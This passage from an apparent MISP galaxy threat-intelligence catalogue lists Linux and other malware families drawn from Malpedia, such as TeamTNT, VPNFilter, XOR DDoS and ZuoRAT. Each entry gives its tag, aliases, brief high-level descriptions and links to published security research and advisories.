https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote/
https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat
https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote
https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/

SysJoker (ELF)

The tag is: *misp-galaxy:malpedia="SysJoker (ELF)"*

SysJoker (ELF) is also known as:

Table 2669. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysjoker
https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/
https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html
https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/

Sysrv-hello (ELF)

Cryptojacking botnet

The tag is: *misp-galaxy:malpedia="Sysrv-hello (ELF)"*

Sysrv-hello (ELF) is also known as:

- Sysrv

Table 2670. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysrvhello
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://dfir.ch/posts/sysrv/
https://www.riskiq.com/blog/external-threat-management/sysrv-hello-cryptojacking-botnet/
https://darktrace.com/blog/worm-like-propagation-of-sysrv-hello-crypto-jacking-botnet
https://www.lacework.com/sysrv-hello-expands-infrastructure/

SystemBC (ELF)

The tag is: *misp-galaxy:malpedia="SystemBC (ELF)"*

SystemBC (ELF) is also known as:

Table 2671. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.systembc
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf
https://x.com/anyrun_app/status/1884207667058463188
https://blog.lumen.com/systembc-bringing-the-noise/

TeamTNT

Since Fall 2019, Team TNT is a well known threat actor which targets *nix based systems and misconfigured Docker container environments. It has constantly evolved its capabilities for its cloud-based cryptojacking operations. They have shifted their focus on compromising Kubernetes Clusters.

The tag is: *misp-galaxy:malpedia="TeamTNT"*

TeamTNT is also known as:

Table 2672. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.teamtnt
https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool
https://sysdig.com/blog/teamtnt-aws-credentials/
https://www.aquasec.com/blog/teamtnt-reemerged-with-new-aggressive-cloud-campaign/
https://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/
https://www.intezer.com/blog/malware-analysis/teamtnt-cryptomining-explosion/
https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.uptycs.com/blog/team-tnt-deploys-malicious-docker-image-on-docker-hub-with-pentesting-tools

https://www.anomali.com/blog/inside-teamtnts-impressive-arsenal-a-look-into-a-teamtnt-server
https://blog.aquasec.com/teamtnt-campaign-against-docker-kubernetes-environment
https://www.aquasec.com/blog/threat-alert-anatomy-of-silentbobs-cloud-attack/
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
https://www.aquasec.com/blog/container-attacks-on-redis-servers/
https://www.aquasec.com/blog/container-security-tnt-container-attack/
https://www.trendmicro.com/en_ae/research/21/k/teamtnt-upgrades-arsenal-refines-focus-on-kubernetes-and-gpu-env.html
https://www.group-ib.com/blog/teamtnt/
https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials
https://www.aquasec.com/blog/fileless-malware-container-security/
https://tolisec.com/active-crypto-mining-operation-by-teamtnt/
https://unit42.paloaltonetworks.com/atoms/adept-libra/
https://www.trendmicro.com/en_us/research/21/l/more-tools-in-the-arsenal-how-teamtnt-used-compromised-docker-hu.html
https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/
https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf
https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf
https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/
https://unit42.paloaltonetworks.com/atoms/thieflibra/

TheMoon

The tag is: *misp-galaxy:malpedia="TheMoon"*

TheMoon is also known as:

Table 2673. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.themoon
https://www.fortinet.com/blog/threat-research/themoon-a-p2p-botnet-targeting-home-routers
https://www.justice.gov/usao-ndok/pr/botnet-dismantled-international-operation-russian-and-kazakhstani-administrators
https://blog.lumen.com/the-darkside-of-themoon
https://www.ic3.gov/CSA/2025/250507.pdf
https://blog.lumen.com/a-new-phase-of-themoon/
https://www.sans.org/reading-room/whitepapers/malicious/analyzing-backdoor-bot-mips-platform-35902

https://s3.documentcloud.org/documents/25935130/anyproxy-and-5socks-indictment.pdf
https://www.ic3.gov/PSA/2025/PSA250507

TNTbotinger

The tag is: *misp-galaxy:malpedia="TNTbotinger"*

TNTbotinger is also known as:

Table 2674. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tntbotinger
https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/
https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html

Torii

The tag is: *misp-galaxy:malpedia="Torii"*

Torii is also known as:

Table 2675. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.torii
https://blog.avast.com/new-torii-botnet-threat-research

TripleCross

According to its author, TripleCross is a Linux eBPF rootkit that demonstrates the offensive capabilities of the eBPF technology.

The tag is: *misp-galaxy:malpedia="TripleCross"*

TripleCross is also known as:

Table 2676. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.triplecross
https://lolcads.github.io/posts/2023/12/bpf_memory_forensics_with_volatility3/
https://github.com/h3xduck/TripleCross

Trump Bot

The tag is: *misp-galaxy:malpedia="Trump Bot"*

Trump Bot is also known as:

Table 2677. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.trump_bot
http://paper.seebug.org/345/

TSCookie

The tag is: *misp-galaxy:malpedia="TSCookie"*

TSCookie is also known as:

Table 2678. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tscookie
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://jp.security.ntt/resources/EN-BlackTech_2021.pdf
https://twitter.com/ESETresearch/status/1382054011264700416
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf
https://www.macnica.net/file/mpressioncss_ta_report_2019_4.pdf
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://blogs.jpcert.or.jp/en/2020/03/elf-tscookie.html
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.macnica.net/pdf/mpressioncss_ta_report_2019_4_en.pdf
https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020

tsh

The tag is: *misp-galaxy:malpedia="tsh"*

tsh is also known as:

- TINYSHELL

Table 2679. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsh
https://supportportal.juniper.net/sfc/servlet.shepherd/document/download/069Dp00000FzdmIIAR?operationContext=S1
https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-targets-juniper-routers/
https://github.com/creaktive/tsh

Tsunami (ELF)

The tag is: *misp-galaxy:malpedia="Tsunami (ELF)"*

Tsunami (ELF) is also known as:

- Amnesia
- Muhstik
- Radiation

Table 2680. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami
https://asec.ahnlab.com/en/54647/
https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/
https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://sysdig.com/blog/muhstik-malware-botnet-analysis/
http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039
https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/
https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure
https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server
https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

https://blog.aquasec.com/fileless-malware-container-security
https://blog.aquasec.com/new-malware-in-the-cloud-by-teamtnt
https://tolisec.com/multi-vector-minertsunami-botnet-with-ssh-lateral-movement/
https://www.aquasec.com/blog/threat-alert-anatomy-of-silentbobs-cloud-attack/
https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/
http://get.cyberx-labs.com/radiation-report
https://www.aquasec.com/blog/container-security-tnt-container-attack/
https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.lacework.com/meet-muhstik-iot-botnet-infecting-cloud-servers/
https://blog.aquasec.com/8220-gang-confluence-vulnerability-cve-2022-26134
https://blogs.juniper.net/en-us/security/muhstik-gang-targets-redis-servers
https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/

Turla RAT

The tag is: *misp-galaxy:malpedia="Turla RAT"*

Turla RAT is also known as:

Table 2681. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.turla_rat
https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html
https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html
https://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html

Umbreon

The tag is: *misp-galaxy:malpedia="Umbreon"*

Umbreon is also known as:

- Espeon

Table 2682. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.umbreon
http://contagiodump.blogspot.com/2018/03/rootkit-umbreon-umreon-x86-arm-samples.html
http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/

Unidentified Linux 001

According to Cybereason, these scripts have been used in an ongoing campaign exploiting a widespread vulnerability in the Exim MTA: CVE-2019-10149. This attack leverages a week-old vulnerability to gain remote command execution on the target machine, search the Internet for other machines to infect, and initiates a crypto miner.

The tag is: *misp-galaxy:malpedia="Unidentified Linux 001"*

Unidentified Linux 001 is also known as:

Table 2683. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_001
https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability

Unidentified ELF 004

Implant used by APT31 on compromised SOHO infrastructure, tries to camouflage as a tool ("unifi-video") related to Ubiquiti UniFi surveillance cameras.

The tag is: *misp-galaxy:malpedia="Unidentified ELF 004"*

Unidentified ELF 004 is also known as:

Table 2684. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_004
https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/

Unidentified 005 (Sidecopy)

The tag is: *misp-galaxy:malpedia="Unidentified 005 (Sidecopy)"*

Unidentified 005 (Sidecopy) is also known as:

Table 2685. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_005
https://threatmon.io/apt-sidecopy-targeting-indian-government-entities/
https://ti.qianxin.com/blog/articles/SideCopy's-Golang-based-Linux-tool/

Unidentified ELF 006 (Tox Backdoor)

Enables remote execution of scripts on a host, communicates via Tox.

The tag is: *misp-galaxy:malpedia="Unidentified ELF 006 (Tox Backdoor)"*

Unidentified ELF 006 (Tox Backdoor) is also known as:

Table 2686. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_006
https://www.uptycs.com/blog/is-tox-the-new-cc-method-for-coinminers

Hive (Vault 8)

The tag is: *misp-galaxy:malpedia="Hive (Vault 8)"*

Hive (Vault 8) is also known as:

Table 2687. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.vault8_hive
https://github.com/infoskirmish/hive
https://wikileaks.org/vault8/

Vermilion Strike (ELF)

The tag is: *misp-galaxy:malpedia="Vermilion Strike (ELF)"*

Vermilion Strike (ELF) is also known as:

Table 2688. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.vermilion_strike
https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://notes.netbytesec.com/2021/09/discovering-linux-elf-beacon-of-cobalt_18.html

vGet

According to Synacktiv, vGet is an in-memory stager for vShell, written in Rust.

The tag is: *misp-galaxy:malpedia="vGet"*

vGet is also known as:

Table 2689. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.vget
https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf

VPNFilter

The tag is: *misp-galaxy:malpedia="VPNFilter"*

VPNFilter is also known as:

Table 2690. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.vpnfilter
https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-054A%20New%20Sandworm%20Malware%20Cyclops%20Blink%20Replaces%20VPN%20Filter.pdf
https://blog.talosintelligence.com/2019/05/one-year-later-vpnfilter-catastrophe.html
https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/
https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks
https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf
https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/
https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html

https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-VPN-Filter-analysis-v2.pdf?la=en
https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/
https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected
https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games
https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/
https://i.blackhat.com/USA-19/Thursday/us-19-Doerr-The-Enemy-Within-Modern-Supply-Chain-Attacks.pdf
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf
https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter
https://blog.talosintelligence.com/2022/02/threat-advisory-cyclops-blink.html
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1
https://www.cisa.gov/uscert/ncas/alerts/aa22-054a

WatchBog

According to Intezer, this is a spreader module used by WatchBog. It is a dynamically linked ELF executable, compiled with Cython. C&C adresses are fetched from Pastebin. C&C communication references unique identification keys per victim. It contains a BlueKeep scanner, reporting positively scanned hosts to the C&C server (RC4 encrypted within SSL/TLS). It contains 5 exploits targeting Jira, Exim, Solr, Jenkins and Nexus Repository Manager 3.

The tag is: *misp-galaxy:malpedia="WatchBog"*

WatchBog is also known as:

Table 2691. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.watchbog
https://intezer.com/blog/linux/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/

WellMail

The tag is: *misp-galaxy:malpedia="WellMail"*

WellMail is also known as:

Table 2692. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmail
https://blog.talosintelligence.com/2020/08/attribution-puzzle.html
https://securelist.com/apt-trends-report-q3-2020/99204/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf
https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmail.html
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf

elf.wellmess

The tag is: *misp-galaxy:malpedia="elf.wellmess"*

elf.wellmess is also known as:

Table 2693. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess
https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html
https://blog.talosintelligence.com/2020/08/attribution-puzzle.html
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://community.riskiq.com/article/541a465f/description
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf
https://us-cert.cisa.gov/sites/default/files/publications/AA21-116A_Russian_Foreign_Intelligence_Service_Cyber_Operations_508C.pdf
https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf
https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://us-cert.cisa.gov/ncas/alerts/aa21-116a
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://securelist.com/apt-trends-report-q2-2020/97937/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://services.global.ntt/en-us/insights/blog/the-layered-infrastructure-operated-by-apt29
https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

WHIRLPOOL

The tag is: *misp-galaxy:malpedia="WHIRLPOOL"*

WHIRLPOOL is also known as:

Table 2694. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.whirlpool
https://www.cisa.gov/news-events/analysis-reports/ar23-250a-0
https://www.cisa.gov/sites/default/files/2023-08/MAR-10459736.r1.v1.CLEAR_.pdf
https://www.cisa.gov/sites/default/files/2023-08/MAR-10454006.r4.v2.CLEAR_.pdf
https://sansorg.egnyte.com/dd/8ekLJCPHPj/
https://cloud.google.com/blog/topics/threat-intelligence/barracuda-esg-exploited-globally/
https://www.youtube.com/watch?v=4zaStuUdvrE
https://services.google.com/fh/files/misc/01-chinese-espionage-article-m-trends-2024.pdf
https://www.cisa.gov/sites/default/files/2023-09/MAR-10454006.r5.v1.CLEAR0.pdf

WhiteRabbit

The tag is: *misp-galaxy:malpedia="WhiteRabbit"*

WhiteRabbit is also known as:

Table 2695. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.whiterabbit
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/Ransom.Win32.WHITERABBIT.YACAET
https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/

Winnti (ELF)

The tag is: *misp-galaxy:malpedia="Winnti (ELF)"*

Winnti (ELF) is also known as:

Table 2696. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.winnti
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://attack.mitre.org/groups/G0096
https://asec.ahnlab.com/en/55785/
https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf
https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a
https://blog.exatrack.com/melofee/
https://blog.xlab.qianxin.com/glutton_stealthily_targets_mainstream_php_frameworks-en/
https://www.secureworks.com/research/threat-profiles/bronze-atlas

Wirenet (ELF)

The tag is: *misp-galaxy:malpedia="Wirenet (ELF)"*

Wirenet (ELF) is also known as:

Table 2697. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet
https://news.drweb.com/show/?i=2679&lng=en&c=14
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html

WolfsBane

The tag is: *misp-galaxy:malpedia="WolfsBane"*

WolfsBane is also known as:

Table 2698. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wolfsbane
https://www.welivesecurity.com/en/eset-research/unveiling-wolfsbane-gelsemiums-linux-counterpart-to-gelsevirine/

X-Agent (ELF)

The tag is: *misp-galaxy:malpedia="X-Agent (ELF)"*

X-Agent (ELF) is also known as:

- chopstick
- fysbis
- splm

Table 2699. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://unit42.paloaltonetworks.com/a-look-into-fysbis-sofacys-linux-backdoor/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

Xanthe

The tag is: *misp-galaxy:malpedia="Xanthe"*

Xanthe is also known as:

Table 2700. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xanthe
https://blog.talosintelligence.com/2020/12/xanthe-docker-aware-miner.html
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/

Xaynnalc

The tag is: *misp-galaxy:malpedia="Xaynnalc"*

Xaynnalc is also known as:

Table 2701. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xaynnalc
https://twitter.com/michalmalik/status/846368624147353601

Xbash

The tag is: *misp-galaxy:malpedia="Xbash"*

Xbash is also known as:

Table 2702. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xbash
https://unit42.paloaltonetworks.com/atoms/agedlibra/
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

xdr33

According to 360 netlab, this backdoor was derived from the leaked CIA Hive project. It propagates via a vulnerability in F5 and communicates using SSL with a forged Kaspersky certificate.

The tag is: *misp-galaxy:malpedia="xdr33"*

xdr33 is also known as:

Table 2703. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xdr33
https://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/

xmrig

According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".

In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.

The tag is: *misp-galaxy:malpedia="xmrig"*

xmrig is also known as:

Table 2704. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig
https://gridinsoft.com/xmrig
https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure
https://harfanglab.io/insidethelab/unpacking-packxor/
https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/

XOR DDoS

Linux DDoS C&C Malware

The tag is: *misp-galaxy:malpedia="XOR DDoS"*

XOR DDoS is also known as:

- XORDDOS

Table 2705. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos
http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf
https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/
https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/
https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf
https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/
https://blog.checkpoint.com/wp-content/uploads/2015/10/sb-report-threat-intelligence-groundhog.pdf
https://blog.talosintelligence.com/unmasking-the-new-xorddos-controller-and-infrastructure/
https://en.wikipedia.org/wiki/Xor_DDoS

https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-a-string-array-in-xor-ddos/
https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/
https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/
https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf
https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/
https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html

Zergeca

Zergeca is a DDoS-botnet and backdoor written in Golang. It uses modified UPX for packing, with the magic number 0x30219101 instead of "UPX!". It is being distributed via weak telnet passwords and known vulnerabilities.

The tag is: *misp-galaxy:malpedia="Zergeca"*

Zergeca is also known as:

Table 2706. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zergeca
https://blog.xlab.qianxin.com/a-deep-dive-into-the-zergeca-botnet

ZeroBot

ZeroBot is a Go-based botnet that spreads primarily through IoT and web application vulnerabilities. It is offered as malware as a service (MaaS) and infrastructure overlaps with DDoS-for-hire services seized by the FBI in December 2022.

The tag is: *misp-galaxy:malpedia="ZeroBot"*

ZeroBot is also known as:

- ZeroStresser

Table 2707. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zerobot

https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/

ZHtrap

The tag is: *misp-galaxy:malpedia="ZHtrap"*

ZHtrap is also known as:

Table 2708. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zhtrap
https://blog.netlab.360.com/new_threat_zhtrap_botnet_en/

Zollard

The tag is: *misp-galaxy:malpedia="Zollard"*

Zollard is also known as:

- darlloz

Table 2709. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zollard
https://blogs.cisco.com/security/the-internet-of-everything-including-malware

ZuoRAT

According to Black Lotus Labs, ZuoRAT is a MIPS file compiled for SOHO routers that can enumerate a host and internal LAN, capture packets being transmitted over the infected device and perform person-in-the-middle attacks (DNS and HTTPS hijacking based on predefined rules).

The tag is: *misp-galaxy:malpedia="ZuoRAT"*

ZuoRAT is also known as:

Table 2710. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zuo_rat
https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/
https://www.mandiant.com/resources/blog/chinese-espionage-tactics

AutoCAD Downloader

Small downloader composed as a Fast-AutoLoad LISP (FAS) module for AutoCAD.

The tag is: *misp-galaxy:malpedia="AutoCAD Downloader"*

AutoCAD Downloader is also known as:

- Acad.Bursted
- Duxfas

Table 2711. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/fas.acad
https://github.com/Hopfengetraenk/Fas-Disasm
https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft

COOKIESNATCH

According to Google, this is a cookie stealer

The tag is: *misp-galaxy:malpedia="COOKIESNATCH"*

COOKIESNATCH is also known as:

Table 2712. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.cookiesnatch
